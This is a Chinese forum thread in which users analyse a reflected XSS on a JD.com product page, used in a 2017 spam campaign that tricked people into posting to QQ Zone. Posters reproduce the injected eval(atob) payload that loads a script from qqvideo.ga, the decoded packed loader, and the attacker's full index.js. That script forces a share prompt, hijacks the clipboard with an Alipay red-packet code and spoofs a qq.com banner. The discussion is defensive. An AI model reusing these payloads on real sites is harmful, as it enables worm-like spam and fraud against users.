1
cy97cool OP 还原的长链接
http://initem.m.jd.com/product/1.html?奔驰男撞人还打人!嚣张气焰终于被干了!过瘾...24101"};eval(atob('dmFyIHM9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOw0Kcy5zcmMgPSAiaHR0cDovL3d3dy5xcXZpZGVvLmdhL3htbC5waHAiOw0KZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='));x={c:"x |
2
mozutaba 2017-12-22 14:42:24 +08:00 via Android
eval 这个函数你不觉得眼熟嘛?
|
3
cy97cool OP jd 这个页面有 xss
atob 解密出来是 "var s= document.createElement(\"script\"); s.src = \"http://www.qqvideo.ga/xml.php\"; document.head.appendChild(s);" |
4
cy97cool OP 在 qq 中点开这个 php 链接得到的是
(~eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('r=f(){l s};f m(6){7 4="";p(7 i=0;i<6.q;i++){7 a=6.t(i);e(a=="+"){4+=" "}d e(a=="%"){7 b=6.n(i+1,i+3);e(j("h"+b)>w){4+=x("%"+6.n(i+1,i+9));i+=8}d{4+=u.v(j("h"+b));i+=2}}d{4+=a}}l 4}f o(k){5.M("N/O","J");5.K(m(L(k.R)));5.Q()}7 g=5.P("B");g.C="y://z.D.H/I.G?E=c";5.F.A(g);',54,54,'||||ret|document|str|var|||chr|asc||else|if|function|vs|0x||parseInt|req|return|URLdecode|substring|callback_vs|for|length|onerror|true|charAt|String|fromCharCode|0x7f|decodeURI|http|www|appendChild|script|src|qqvideo|ac|head|php|ga|xml|replace|write|atob|open|text|html|createElement|close|content'.split('|'),0,{}))) 不知道咋解密这 js。。。也许已经访问过会不一样? |
5
fucker 2017-12-22 14:55:43 +08:00
|
6
cy97cool OP @fucker 对
京东的 xss 已经很显然了,但在用户不知情的情况下自动发说说咋实现的 这一点也许更有趣 |
7
Va1n3R 2017-12-22 15:04:00 +08:00 1
京东的反射性 XSS+腾讯 QQ 空间的 CSRF,如果在 qq 空间中所发的内容包含原短连接,那么就是组合型的蠕虫漏洞的。
京东的 XSS 经过了混淆的,大概意思就是从 http://www.qqvideo.ga/xml.php 这个页面获取下一步动作 电脑访问会跳转到腾讯视频,手机访问则会直接执行恶意代码 ###修改 UA 访问以下链接就会得到不同的内容。 http://www.qqvideo.ga/xml.php |
8
fucker 2017-12-22 15:06:41 +08:00 1
|
9
Va1n3R 2017-12-22 15:07:27 +08:00 1
@cy97cool 可以搜一搜 CSRF 漏洞,大概意思就是 http://www.qq.com/forget.php 这个是一个忘记密码的页面,一般需要用户自己进去,但是黑客可以构造一个页面让你访问后直接访问 http://www.qq.com/forget.php?yes 这个页面,造成的效果就是访问了一个其他的页面,缺执行了 qq 里面的动作。 一般是没有加上 token 造成的漏洞。楼主这个地方也可能是别的漏洞造成的,但是我觉得 CSRF 可能性最大。
|
11
fucker 2017-12-22 15:11:36 +08:00
|
12
cy97cool OP |
13
janxin 2017-12-22 15:19:07 +08:00
刚刚试了一下已经修了?
|
15
janxin 2017-12-22 15:19:57 +08:00
看错了还没修
|
16
ljsh0102 2017-12-22 15:20:25 +08:00
没生效啊
|
17
cy97cool OP |
19
pelloz 2017-12-22 15:24:29 +08:00 4
将 c35 分别等于 true 和 false 可以得到两份代码,然后将两份代码合并就能得到完整代码
---------------------- onerror = function () { return true }; function URLdecode(str) { var ret = ""; for (var i = 0; i < str.length; i++) { var chr = str.charAt(i); if (chr == "+") { ret += " " } else if (chr == "%") { var asc = str.substring(i + 1, i + 3); if (parseInt("0x" + asc) > 0x7f) { ret += decodeURI("%" + str.substring(i + 1, i + 9)); i += 8 } else { ret += String.fromCharCode(parseInt("0x" + asc)); i += 2 } } else { ret += chr } } return ret } function callback_vs(req) { document.open("text/html", "replace"); document.write(URLdecode(atob(req.content))); document.close() } var vs = document.createElement("script"); vs.src = "http://www.qqvideo.ga/xml.php?ac==c"; document.head.appendChild(vs); ----------------------------- |
20
Va1n3R 2017-12-22 15:25:41 +08:00 4
解开了,上面第一次获取的是一个 GET 访问动作:
http://www.qqvideo.ga/xml.php?ac=c 获取下一步操作 内容是一段 base64 和 URLencode 的处理过的, ```HTML <!doctype html><html><head><title>精彩视频分享!</title><meta charset="utf-8"><meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"name="viewport"/><link rel="stylesheet"href="http://www.qqvideo.ga/inc/css.css?121509"><script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script><script src="http://www.qqvideo.ga/inc/clipboard.min.js"></script><script src="http://imgcache.gtimg.cn/tencentvideo_v1/tvp/js/tvp.player_v2.js"></script><meta itemprop="name"content=""/><meta itemprop="image"content=""/><meta name="description"itemprop="description"content=""/></head><body><div class="rich_media_title"></div><div class="videoId" id="videoId"></div><div class="winfo"><div class="txttj"><ul id="text_info"></ul></div><div class="imgtj"><div class="wntj"><span>为你推荐</span></div><div class="imgtjlist"></div></div></div><div class="fxbac"></div><div class="sharebox"><div class="p1msg">请分享到 QQ 空间!<br>分享完成后可继续观看。</div><div class="box-bottom"><a class="button-l"href='javascript:;'rel="noreferrer">立即分享</a><span class="button-r">取消</span></div></div><script type="text/javascript"src="http://www.qqvideo.ga/index.js?121535"></script><span style="display:none;"><script src="https://js.users.51.la/6036599.js"></script></span><span id="bottom">Copyright© 2017-2018</span></body></html> ``` 懒的搞了,服了这些黑产的.... |
21
ljsh0102 2017-12-22 15:29:09 +08:00
为毛我试了一圈没见生效啊,修复啦
|
23
Telegram 2017-12-22 15:30:12 +08:00 via iPhone
就是喜欢你们这帮懂 js 的技术宅,贼可爱。
那么问题来了,京东的人呢,还不进来领漏洞? |
24
cy97cool OP |
26
cy97cool OP |
27
dlllcs 2017-12-22 15:38:50 +08:00 1
http://www.qqvideo.ga/index.js?121535:
var sharesta=false; var voddata; var vodpic; var zCode=["iSVjBI77a7","stEIuv853z","XIPF0u52Nk"]; function setCookie(name,value,Days){ var exp = new Date(); exp.setTime(exp.getTime() + Days*24*60*60*1000); document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString(); } function getCookie(name){ var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)"); if(arr=document.cookie.match(reg)) return unescape(arr[2]); else return null; } function AutoScroll(obj) { $(obj).find("ul:first").animate({ marginTop: "-30px" }, 500, function() { $(this).css({ marginTop: "0px" }).find("li:first").appendTo(this); }); } function checkplay(){ var myAudio = document.getElementById('tenvideo_video_player_0'); if(myAudio!==null){ var ptime=myAudio.currentTime; if(!myAudio.paused){ if(ptime >= voddata.playtime && getCookie("share_"+voddata.movieid)!="True"){ $(".fxbac").css('display','block'); $(".sharebox").css('display','block'); //$(".tvp_poster_img").html('<div style="background:url( http://ugc.qpic.cn/gbar_pic/NjBmHRR7MAXeUF3BMAbHianSiah4ic0VArvIMjmNK7EDL3AlVERHecYoA/0); opacity:0.9;filter:alpha(opacity=90); width:235px; height:50px; margin:10px auto;"></div>'); myAudio.pause(); }else{ $(".fxbac").css('display','none'); $(".sharebox").css('display','none'); myAudio.play(); } } } } function loadplayer(){ var video = new tvp.VideoInfo(); video.setVid(voddata.movieid); var player = new tvp.Player(); player.create({ video: video, modId: "videoId", width:$(document).width(), height:"240", pic:vodpic, isHtml5ShowPosterOnEnd:true, isHtml5ShowPlayBtnOnPause:true, isiPhoneShowPosterOnPause:true, vodFlashSkin:'http://imgcache.qq.com/minivideo_v1/vd/res/skins/TencentPlayerMiniSkin.swf', }); setInterval(checkplay,1000); } function loadplayer2(){ var video = new tvp.VideoInfo(); video.setVid(voddata.movieid); var player = new tvp.Player($(document).width(), 250); player.setCurVideo(video); player.addParam("autoplay",0); player.write("videoId"); setInterval(checkplay,1000); } function open_url(link){ var html='<a href="'+link+'" target="_blank" rel="noreferrer"><i id="clickobj">link</i></a>'; $("#bottom").prepend(html); $("#clickobj").trigger('click'); $("a").remove("#bottom a"); } function loadindex(){ $.getJSON(atob("aHR0cDovL3d3dy5xcXZpZGVvLmdhL2dldGRhdGEucGhw")+'?'+ Math.random(), function(data){ voddata =data.movie; vodpic="http://shp.qpic.cn/qqvideo_ori/0/"+voddata.movieid+"_496_280/0"; $(document).attr("title",voddata.title); $('.rich_media_title').html(voddata.title); $("meta[itemprop='name']").attr('content',voddata.title); $("meta[itemprop='image']").attr('content',vodpic); $("meta[itemprop='description']").attr('content',voddata.desc); $.each(data.textad, function(key, content){ $("#text_info").append("<li><a href='javascript:;' onclick=\"open_url('"+content.url+"')\">"+content.title+"</a></li>"); }); $.each(data.imgad, function(key, content){ $(".imgtjlist").append("<div class='imgtj_list' onclick=\"open_url('"+content.url+"')\"><span>"+content.title+"</span><img src='"+content.img+"'></div>"); }); $("#bottom").html(atob(data.botinfo)); setInterval('AutoScroll(".txttj")', 5000); loadplayer(); }); } $(function() { loadindex(); $(".button-r")["on"]("click", function() { $(".fxbac")["css"]('display', 'none'); $(".sharebox")["css"]('display', 'none') }); $(".button-l")["on"]("click", function() { setCookie("share_" + voddata["movieid"], "True", 1); var mfkL1 = { url: voddata["surl"], desc: '', summary: voddata["desc"], site: '', page: 'qzshare.html', logintype: 'qzone', referer: voddata["surl"], title: voddata["title"], loginpage: 'loginindex.html', imageUrl: vodpic, }; var zd2 = []; for (var syZ3 in mfkL1) { zd2["push"](syZ3 + '=' + encodeURIComponent(mfkL1[syZ3] || '')) } var BiDOtNO5 = ['https://h5.qzone.qq.com/q/qzs/open/connect/widget/mobile/qzshare/index.html?', zd2["join"]('&'), '']["join"](''); $(".button-l")["attr"]('href', BiDOtNO5); return true }); $('body')["click"](function(jDRjcc7) { var QBEUb8 = new Clipboard(('body')); $('body')["attr"]('data-clipboard-text', '复制这句话,打开支付宝领取大大大红包!还有惊喜红包等你拿!&' + zCode[window["Math"]["floor"](window["Math"]["random"]() * zCode["length"])] + '&') }) }); var PLvy9 = $(window["document"]); var gtjtc10 = 0; var kstowPzk11 = 0; addEventListener("touchstart", function(yzb12) { gtjtc10 = yzb12["touches"][0]["pageY"] }); addEventListener("touchmove", function(Y13) { kstowPzk11 = Y13["touches"][0]["pageY"]; if (PLvy9["scrollTop"]() <= 0 && gtjtc10 < kstowPzk11) { Y13["preventDefault"](); if ($('#_domain_display')["length"] <= 0) { $('body')["prepend"]('<div id="_domain_display"><p>\u7f51\u9875\u7531 www.qq.com \u63d0\u4f9b</p></div>') } $('#_domain_display')["height"]((kstowPzk11 - gtjtc10)) } }); addEventListener("touchend", function(FhKmnhn14) { $('#_domain_display')["slideUp"]('normal', function() { $('#_domain_display')["remove"]() }) }); |
28
Va1n3R 2017-12-22 15:49:40 +08:00 1
var BiDOtNO5 = ['https://h5.qzone.qq.com/q/qzs/open/connect/widget/mobile/qzshare/index.html?', zd2["join"]('&'), '']["join"]('');
$(".button-l")["attr"]('href', BiDOtNO5); return true }); button-l 就是这个按钮咯~黑阔直接帮你点了分享按钮,所以访问即发空间~ |
29
dlllcs 2017-12-22 15:49:51 +08:00 1
主要发说说的代码, 不过好像我测试好像已经失效了:
``` $(function() { loadindex(); $(".button-r")["on"]("click", function() { $(".fxbac")["css"]('display', 'none'); $(".sharebox")["css"]('display', 'none') }); $(".button-l")["on"]("click", function() { setCookie("share_" + voddata["movieid"], "True", 1); var mfkL1 = { url: voddata["surl"], desc: '', summary: voddata["desc"], site: '', page: 'qzshare.html', logintype: 'qzone', referer: voddata["surl"], title: voddata["title"], loginpage: 'loginindex.html', imageUrl: vodpic, }; var zd2 = []; for (var syZ3 in mfkL1) { zd2["push"](syZ3 + '=' + encodeURIComponent(mfkL1[syZ3] || '')) } var BiDOtNO5 = ['xxxx?', zd2["join"]('&'), '']["join"](''); $(".button-l")["attr"]('href', BiDOtNO5); return true }); $('body')["click"](function(jDRjcc7) { var QBEUb8 = new Clipboard(('body')); $('body')["attr"]('data-clipboard-text', '复制这句话,打开支付宝领取大大大红包!还有惊喜红包等你拿!&' + zCode[window["Math"]["floor"](window["Math"]["random"]() * zCode["length"])] + '&') }) }); ``` |
30
Va1n3R 2017-12-22 15:50:17 +08:00 1
算得上是 CSRF,角度很刁钻。
|
31
dlllcs 2017-12-22 15:52:32 +08:00 2
另外,好像不止发说说,还帮你复制了他们的支付宝红包码,在你下次打开支付宝会自动打开他们的红包...
结论: 又一个为了赚支付宝红包的程序员干的... |
32
birds7 2017-12-22 16:59:48 +08:00
JD 这到现在还没修
|
39
fox0001 2017-12-22 18:53:49 +08:00
说说是什么?
|